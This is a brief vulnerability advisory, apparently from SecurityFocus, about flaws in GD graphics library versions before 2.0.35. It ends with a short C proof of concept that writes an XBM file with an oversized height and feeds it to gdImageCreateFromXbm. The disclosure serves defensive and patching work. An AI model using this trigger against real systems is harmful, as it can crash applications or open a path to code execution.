source: http://www.securityfocus.com/bid/24651/info

The GD graphics library is prone to multiple vulnerabilities.

An attacker can exploit this issue to cause denial-of-service conditions or execute arbitrary code in the context of applications implementing the affected library.

Version prior to GD graphics library 2.0.35 are reported vulnerable. 

#include "gd.h"

int main() {
    FILE *fp = fopen("./x.xbm", "w+");

    fprintf(fp, "#define width 255\n#define height 1073741824\nstatic unsigned char bla = {\n");

    fseek(fp, 0, SEEK_SET);

    gdImageCreateFromXbm(fp);

}